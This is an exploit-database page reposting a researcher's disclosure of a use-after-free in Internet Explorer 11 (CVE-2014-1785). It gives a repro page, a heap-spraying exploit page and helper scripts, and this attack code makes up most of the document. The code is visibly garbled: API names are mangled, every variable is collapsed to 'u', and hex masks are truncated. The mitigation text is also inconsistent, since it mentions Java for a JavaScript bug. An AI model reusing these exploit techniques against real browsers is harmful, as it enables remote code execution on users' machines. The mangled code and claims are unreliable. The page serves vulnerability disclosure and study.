Microsoft Internet Explorer 11 MSHTML - CSpliceTree­Engine::RemoveSplice Use-After-Free (MS14-03



EKU-ID: 6174 CVE: 2014-1785 OSVDB-ID:
Author: Skylined Published: 2016-12-21 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


<!--
Source: http://blog.skylined.nl/20161220001.html
 
Synopsis
 
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 11. There is sufficient time between the free and reuse for an attacker to control the contents of the freed memory and exploit the vulnerability.
 
Known affected software, attack vectors and potential mitigations
 
Microsoft Internet Explorer 11
 
An attacker would need to get a target user to open a specially crafted web-page. Disabling Java should prevent an attacker from triggering the vulnerable code path.
 
Details
 
This was one of the first bugs where I attempted to do a proper analysis, and I got some feedback from ZDI that explained what I got right and what I got wrong. Basically, on x86, a 0x28 byte memory block is allocated in MSHTML!CMarkup::Do and when you execute document.exec("Delete"). This memory can be freed when you execute document.open() in a DOMNode event handler. After that, you can use Javascript to reallocate the memory before it is reused.
 
Repro.html:
 
<!doctype html>
<html>
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=11">
    <script type="text/javascript">
      document.add("DOMNode", function () {
        document.open(); // free
        // attempt to modify freed memory here
        // because it will be reused after this function returns.
      }, true);
      window.onload = function () {
        document.design="on";
        document.exec("Select");
        document.exec("Delete"); // allocate
      };
    </script>
  </head>
  <body>
  </body>
</html>
 
Exploit
 
After getting the feedback from ZDI that helped me understand the root cause, I attempted to write an exploit that the issue could be controlled and may be exploitable. I did not keep track of whether my attempts where successful, so the below code may not actually function. However, it should give you an idea on how one might go about writing an exploit for this vulnerability.
 
Sploit.html:
-->
 
<!doctype html>
<html>
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=11">
    <script src="c.js"></script>
    <script src="c.js"></script>
    <script>
      var aau  = [
          [0x08, 0x80],
          [0x08, 0x40],
          [0x08, 0x20],
          [0x10, 0x80]
      ];
      var u = 0x12340000;
      var ao = new Array(aau.length);
      for (var i = 0; i < aau.length; i++) {
        ao[i] = new c(aau[i][0], aau[i][1]);
        ao[i].set(0x0100, u + 0x0300);
        ao[i].spray();
      }
      document.add("DOMNode", function () {
        document.open();
        var oLFHReuse = new c(10, 0x28);
        o.set(0x10, u + 0x0100);
        o.set(0x14, u + 0x0200);
        o.spray();
      }, true);
      window.onload = function () {
        document.designMode="on";
        document.exec("Select");
        document.exec("Delete");
        document.designMode="off";
      };
    </script>
  </head>
  <body>
  </body>
</html>
 
<!--
########################################################################
 
c.js:
 
function c(u, u) {
  this.ao = new Array(u);
  var au = new Array(u - 1 >> 1);
  for (var i = 0; i < au.length; i++) {
    au[i] = ((i & 0x) * 0x202 + 0x100) & 0x;
  }
  this.set = function(u, u) {
    this.set(u, u & 0x);
    this.set(u + 2, u >>> 16);
  }
  this.set = function(u, u) {
    this.set(u, u & 0x);
    this.set(u + 1, u >>> 8);
  }
  this.set = function(u, u) {
    var u = u >> 1;
    var u0 = (u & 1 ? au[u] : u) & 0x;
    var u1 = (u & 1 ? u : (au[u] >> 8)) & 0x;
    au[u] = u0 + (u1 << 8);
  }
  this.spray = function() {
    var s = String.from.apply(0, au);
    for (var i = 0; i < u; i++) {
      this.ao[i] = document.create("span"); // allocate 0x34 bytes
      this.ao[i].class = s; // allocate 0x10, u and 0x40 bytes.
    }
  }
}
 
########################################################################
 
c.js:
 
var c = (function() {
  var u = 0x10000;
  var u = 0x10;
  var u = 0x04;
  var as = new Array(u / 2);
  for (var u = 0; u < as.length; u += 2) {
    as[u] = String.from(u);
    as[u + 1] = String.from(0x);
  }
  return function c(u, u) {
    this.u = u * u - u - u;
    var s = as.join("");
    var s, as = new Array(u);
    this.set = function (u, u) {
      this.set(u, u & 0x);
      this.set(u + 2, (u >> 16) & 0x);
    }
    this.set = function (u, u) {
      if (s) throw new Error("Cannot set chunk values after generating block");
      if (u & 1) throw new Error("u (" + u.to(16) + ") must be Word aligned");
      if (u >= u) throw new Error("u (" + u.to(16) + ") must be smaller than 0x" + u.to(16));
      var u = u / 2;
      var s = String.from(u & 0x);
      s = s.substr(0, u) + s + s.substr(u + 1);
    }
    this.generate = function () {
      if (s) throw new Error("Cannot generating block twice");
      s = (
        s.substr(u / 2) +
        new Array(u - 1).join(s) +
        s.substr(0, (u - u) / 2)
      );
    }
    this.set = function (u, u) {
      this.set(u, u & 0x);
      this.set(u + 2, (u >> 16) & 0x);
    }
    this.set = function (u, u) {
      if (!s) this.generate();
      if (u & 1) throw new Error("u (" + u.to(16) + ") must be Word aligned");
      var u = (u - u) / 2;
      if (u < 0) throw new Error("u (" + u.to(16) + ") must be larger than 0x" + u.to(16));
      if (u >= s.length) throw new Error("u (" + u.to(16) + ") must be smaller than 0x" + (u + s.length * 2).to(16));
      var s = String.from(u & 0x);
      s = s.substr(0, u) + s + s.substr(u + 1);
    }
    this.spray = function() {
      if (!s) this.generate();
      for (var i = 0; i < u; i++) {
        as[i] = ("" + s).slice(0);
      }
    }
  }
})();
 
 
Time-line
 
30 December 2013: This vulnerability was submitted to ZDI.
8 January 2014: This vulnerability was acquired by ZDI.
14 January 2014: This vulnerability was disclosed to Microsoft by ZDI.
10 June 2014: This vulnerability was address by Microsoft in MS14-035.
20 December 2016: Details of this vulnerability are released.
-->